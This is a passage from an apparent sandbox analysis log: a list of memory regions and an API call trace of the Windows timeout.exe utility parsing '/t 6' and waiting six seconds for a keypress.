0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1585 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1586 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1587 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1588 start_va = 0x4400000 end_va = 0x45cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1589 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1590 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1591 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1592 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1593 start_va = 0x4120000 end_va = 0x41ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1594 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1595 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1596 start_va = 0x4400000 end_va = 0x443ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1597 start_va = 0x4440000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 1598 start_va = 0x44d0000 end_va = 0x45cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 1599 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1600 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1601 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1602 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1603 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1604 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1605 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1606 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1607 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1608 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1609 start_va = 0x6d450000 end_va = 0x6d457fff monitored = 0 entry_point = 0x6d4517b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1610 start_va = 0x4480000 end_va = 0x44a9fff monitored = 0 entry_point = 0x4485680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1611 start_va = 0x45f0000 end_va = 0x4777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000045f0000" filename = "" Region: id = 1612 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1613 start_va = 0x4780000 end_va = 0x4900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004780000" filename = "" Region: id = 1614 start_va = 0x4910000 end_va = 0x5d0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004910000" filename = "" Region: id = 1615 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1616 start_va = 0x41e0000 end_va = 0x41e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041e0000" filename = "" Region: id = 1617 start_va = 0x41f0000 end_va = 0x41f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timeout.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\timeout.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\timeout.exe.mui") Region: id = 1618 start_va = 0x4480000 end_va = 0x4480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 1619 start_va = 0x4490000 end_va = 0x4490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 1620 start_va = 0x5d10000 end_va = 0x5deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 1621 start_va = 0x5df0000 end_va = 0x6126fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 117 os_tid = 0x758 [0120.124] GetModuleHandleA (lpModuleName=0x0) returned 0xb0000 [0120.124] __set_app_type (_Type=0x1) [0120.124] __p__fmode () returned 0x75734d6c [0120.124] __p__commode () returned 0x75735b1c [0120.124] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb4fe0) returned 0x0 [0120.124] __wgetmainargs (in: _Argc=0xb6018, _Argv=0xb601c, _Env=0xb6020, _DoWildCard=0, _StartInfo=0xb602c | out: _Argc=0xb6018, _Argv=0xb601c, _Env=0xb6020) returned 0 [0120.125] SetThreadUILanguage (LangId=0x0) returned 0x409 [0120.202] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0120.202] SetLastError (dwErrCode=0x0) [0120.202] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0120.202] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0120.202] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0120.203] RtlVerifyVersionInfo (VersionInfo=0x40ff7d8, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44d7758 [0120.203] lstrlenW (lpString="") returned 0 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x2) returned 0x44d3728 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d87f0 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44d7608 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7338 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7548 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d2978 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7100 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44d7668 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7120 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7140 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44d7bb8 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc1d8 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.203] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44d7680 [0120.203] GetProcessHeap () returned 0x44d0000 [0120.204] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc218 [0120.204] GetProcessHeap () returned 0x44d0000 [0120.204] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc258 [0120.204] GetProcessHeap () returned 0x44d0000 [0120.204] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc3d8 [0120.204] GetProcessHeap () returned 0x44d0000 [0120.204] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc438 [0120.204] SetThreadUILanguage (LangId=0x0) returned 0x409 [0120.210] SetLastError (dwErrCode=0x0) [0120.210] GetProcessHeap () returned 0x44d0000 [0120.210] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc298 [0120.210] GetProcessHeap () returned 0x44d0000 [0120.210] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc238 [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc378 [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc198 [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc2d8 [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44d76e0 [0120.211] _memicmp (_Buf1=0x44d76e0, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x208) returned 0x44dc538 [0120.211] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44dc538, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")) returned 0x1f [0120.211] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", lpdwHandle=0x40ff8e4 | out: lpdwHandle=0x40ff8e4) returned 0x76c [0120.211] GetProcessHeap () returned 0x44d0000 [0120.211] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x776) returned 0x44dc748 [0120.211] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", dwHandle=0x0, dwLen=0x776, lpData=0x44dc748 | out: lpData=0x44dc748) returned 1 [0120.211] VerQueryValueW (in: pBlock=0x44dc748, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x40ff8ec, puLen=0x40ff8f0 | out: lplpBuffer=0x40ff8ec*=0x44dcaf8, puLen=0x40ff8f0) returned 1 [0120.215] _memicmp (_Buf1=0x44d76e0, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.215] _vsnwprintf (in: _Buffer=0x44dc538, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x40ff8d0 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0120.216] VerQueryValueW (in: pBlock=0x44dc748, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x40ff8fc, puLen=0x40ff8f8 | out: lplpBuffer=0x40ff8fc*=0x44dc92c, puLen=0x40ff8f8) returned 1 [0120.216] lstrlenW (lpString="timeout.exe") returned 11 [0120.216] lstrlenW (lpString="timeout.exe") returned 11 [0120.216] lstrlenW (lpString=".EXE") returned 4 [0120.216] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe" [0120.216] lstrlenW (lpString="timeout.exe") returned 11 [0120.216] lstrlenW (lpString=".EXE") returned 4 [0120.216] _memicmp (_Buf1=0x44d76e0, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.216] lstrlenW (lpString="timeout") returned 7 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc418 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc458 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc4f8 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc358 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44dd0e8 [0120.217] _memicmp (_Buf1=0x44dd0e8, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0xa0) returned 0x44de148 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc4b8 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc278 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc338 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.217] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44dd130 [0120.217] _memicmp (_Buf1=0x44dd130, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.217] GetProcessHeap () returned 0x44d0000 [0120.218] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x200) returned 0x44de408 [0120.218] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x44de408, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0120.218] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0120.218] GetProcessHeap () returned 0x44d0000 [0120.218] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x30) returned 0x44d8690 [0120.218] _vsnwprintf (in: _Buffer=0x44de148, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x40ff8d4 | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28 [0120.218] GetProcessHeap () returned 0x44d0000 [0120.218] GetProcessHeap () returned 0x44d0000 [0120.218] HeapValidate (hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc748) returned 1 [0120.218] GetProcessHeap () returned 0x44d0000 [0120.218] RtlSizeHeap (HeapHandle=0x44d0000, Flags=0x0, MemoryPointer=0x44dc748) returned 0x776 [0120.218] HeapFree (in: hHeap=0x44d0000, dwFlags=0x0, lpMem=0x44dc748 | out: hHeap=0x44d0000) returned 1 [0120.218] SetLastError (dwErrCode=0x0) [0120.218] GetThreadLocale () returned 0x409 [0120.219] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.219] lstrlenW (lpString="?") returned 1 [0120.219] GetThreadLocale () returned 0x409 [0120.219] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.219] GetThreadLocale () returned 0x409 [0120.219] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.219] lstrlenW (lpString="nobreak") returned 7 [0120.219] SetLastError (dwErrCode=0x0) [0120.219] SetLastError (dwErrCode=0x0) [0120.219] lstrlenW (lpString="/t") returned 2 [0120.219] lstrlenW (lpString="-/") returned 2 [0120.219] StrChrIW (lpStart="-/", wMatch=0x5de002f) returned="/" [0120.219] lstrlenW (lpString="?") returned 1 [0120.219] lstrlenW (lpString="?") returned 1 [0120.219] GetProcessHeap () returned 0x44d0000 [0120.219] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44dd160 [0120.219] _memicmp (_Buf1=0x44dd160, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.219] GetProcessHeap () returned 0x44d0000 [0120.219] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0xa) returned 0x44dd070 [0120.219] lstrlenW (lpString="t") returned 1 [0120.219] GetProcessHeap () returned 0x44d0000 [0120.219] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44dd148 [0120.219] _memicmp (_Buf1=0x44dd148, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.219] GetProcessHeap () returned 0x44d0000 [0120.219] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0xa) returned 0x44dd100 [0120.219] _vsnwprintf (in: _Buffer=0x44dd070, _BufferCount=0x4, _Format="|%s|", _ArgList=0x40ff8c4 | out: _Buffer="|?|") returned 3 [0120.219] _vsnwprintf (in: _Buffer=0x44dd100, _BufferCount=0x4, _Format="|%s|", _ArgList=0x40ff8c4 | out: _Buffer="|t|") returned 3 [0120.219] lstrlenW (lpString="|?|") returned 3 [0120.219] lstrlenW (lpString="|t|") returned 3 [0120.219] StrStrIW (lpFirst="|?|", lpSrch="|t|") returned 0x0 [0120.220] SetLastError (dwErrCode=0x490) [0120.220] lstrlenW (lpString="t") returned 1 [0120.220] lstrlenW (lpString="t") returned 1 [0120.220] _memicmp (_Buf1=0x44dd160, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.220] lstrlenW (lpString="t") returned 1 [0120.220] _memicmp (_Buf1=0x44dd148, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.220] _vsnwprintf (in: _Buffer=0x44dd070, _BufferCount=0x4, _Format="|%s|", _ArgList=0x40ff8c4 | out: _Buffer="|t|") returned 3 [0120.220] _vsnwprintf (in: _Buffer=0x44dd100, _BufferCount=0x4, _Format="|%s|", _ArgList=0x40ff8c4 | out: _Buffer="|t|") returned 3 [0120.220] lstrlenW (lpString="|t|") returned 3 [0120.220] lstrlenW (lpString="|t|") returned 3 [0120.220] StrStrIW (lpFirst="|t|", lpSrch="|t|") returned="|t|" [0120.220] SetLastError (dwErrCode=0x0) [0120.220] SetLastError (dwErrCode=0x0) [0120.220] lstrlenW (lpString="6") returned 1 [0120.220] SetLastError (dwErrCode=0x490) [0120.220] SetLastError (dwErrCode=0x0) [0120.220] lstrlenW (lpString="6") returned 1 [0120.220] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0120.220] SetLastError (dwErrCode=0x490) [0120.220] SetLastError (dwErrCode=0x0) [0120.220] GetProcessHeap () returned 0x44d0000 [0120.220] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x10) returned 0x44dd1a8 [0120.220] _memicmp (_Buf1=0x44dd1a8, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.220] lstrlenW (lpString="6") returned 1 [0120.220] GetProcessHeap () returned 0x44d0000 [0120.220] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x4) returned 0x44d7c20 [0120.220] lstrlenW (lpString="6") returned 1 [0120.220] lstrlenW (lpString=" \x09") returned 2 [0120.221] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0120.221] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0120.221] GetLastError () returned 0x0 [0120.221] lstrlenW (lpString="6") returned 1 [0120.221] lstrlenW (lpString="6") returned 1 [0120.221] SetLastError (dwErrCode=0x0) [0120.221] _errno () returned 0x5de05b0 [0120.221] wcstol (in: _String="6", _EndPtr=0x40ffab8, _Radix=10 | out: _EndPtr=0x40ffab8*="") returned 6 [0120.221] lstrlenW (lpString="") returned 0 [0120.221] _errno () returned 0x5de05b0 [0120.221] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.221] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38 [0120.221] GetFileType (hFile=0x38) returned 0x2 [0120.221] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x40ffab0 | out: lpMode=0x40ffab0) returned 1 [0120.224] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38 [0120.224] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x40ffad0 | out: lpMode=0x40ffad0) returned 1 [0120.225] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1a1) returned 1 [0120.225] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x38, lpNumberOfEvents=0x40ffad4 | out: lpNumberOfEvents=0x40ffad4) returned 1 [0120.225] FlushConsoleInputBuffer (hConsoleInput=0x38) returned 1 [0120.225] GetProcessHeap () returned 0x44d0000 [0120.225] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc2b8 [0120.225] _memicmp (_Buf1=0x44dd130, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.225] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x44de408, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11 [0120.226] lstrlenW (lpString="\nWaiting for %*lu") returned 17 [0120.226] GetProcessHeap () returned 0x44d0000 [0120.226] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x24) returned 0x44d3828 [0120.226] _vsnwprintf (in: _Buffer=0x40ffd24, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0x40ffa9c | out: _Buffer="\nWaiting for 6") returned 14 [0120.226] __iob_func () returned 0x75731208 [0120.226] _fileno (_File=0x75731228) returned 1 [0120.226] _errno () returned 0x5de05b0 [0120.226] _get_osfhandle (_FileHandle=1) returned 0x3c [0120.226] _errno () returned 0x5de05b0 [0120.226] GetFileType (hFile=0x3c) returned 0x2 [0120.226] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0120.226] GetFileType (hFile=0x3c) returned 0x2 [0120.226] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0120.226] __iob_func () returned 0x75731208 [0120.226] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0120.226] lstrlenW (lpString="\nWaiting for 6") returned 14 [0120.226] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x40ffd24*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x40ffd24*, lpNumberOfCharsWritten=0x40ffa98*=0xe) returned 1 [0120.227] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0120.227] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3c, lpConsoleScreenBufferInfo=0x40ffae8 | out: lpConsoleScreenBufferInfo=0x40ffae8) returned 1 [0120.228] GetProcessHeap () returned 0x44d0000 [0120.228] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x14) returned 0x44dc2f8 [0120.228] _memicmp (_Buf1=0x44dd130, _Buf2=0xb10ac, _Size=0x7) returned 0 [0120.228] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x44de408, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25 [0120.228] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0120.228] GetProcessHeap () returned 0x44d0000 [0120.228] RtlAllocateHeap (HeapHandle=0x44d0000, Flags=0xc, Size=0x4c) returned 0x44d7188 [0120.228] __iob_func () returned 0x75731208 [0120.228] _fileno (_File=0x75731228) returned 1 [0120.228] _errno () returned 0x5de05b0 [0120.228] _get_osfhandle (_FileHandle=1) returned 0x3c [0120.228] _errno () returned 0x5de05b0 [0120.228] GetFileType (hFile=0x3c) returned 0x2 [0120.228] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0120.228] GetFileType (hFile=0x3c) returned 0x2 [0120.228] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x40ffa74 | out: lpMode=0x40ffa74) returned 1 [0120.228] __iob_func () returned 0x75731208 [0120.228] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0120.228] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0120.228] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x44d7188*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0x40ffa98, lpReserved=0x0 | out: lpBuffer=0x44d7188*, lpNumberOfCharsWritten=0x40ffa98*=0x25) returned 1 [0120.234] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.234] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.234] Sleep (dwMilliseconds=0x64) [0120.338] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.340] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.340] Sleep (dwMilliseconds=0x64) [0120.475] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0x40ffb00, nLength=0x2, lpNumberOfEventsRead=0x40ffad4 | out: lpBuffer=0x40ffb00, lpNumberOfEventsRead=0x40ffad4) returned 1 [0120.480] time (in: timer=0x40ffae0 | out: timer=0x40ffae0) returned 0x6151f218 [0120.480] Sleep 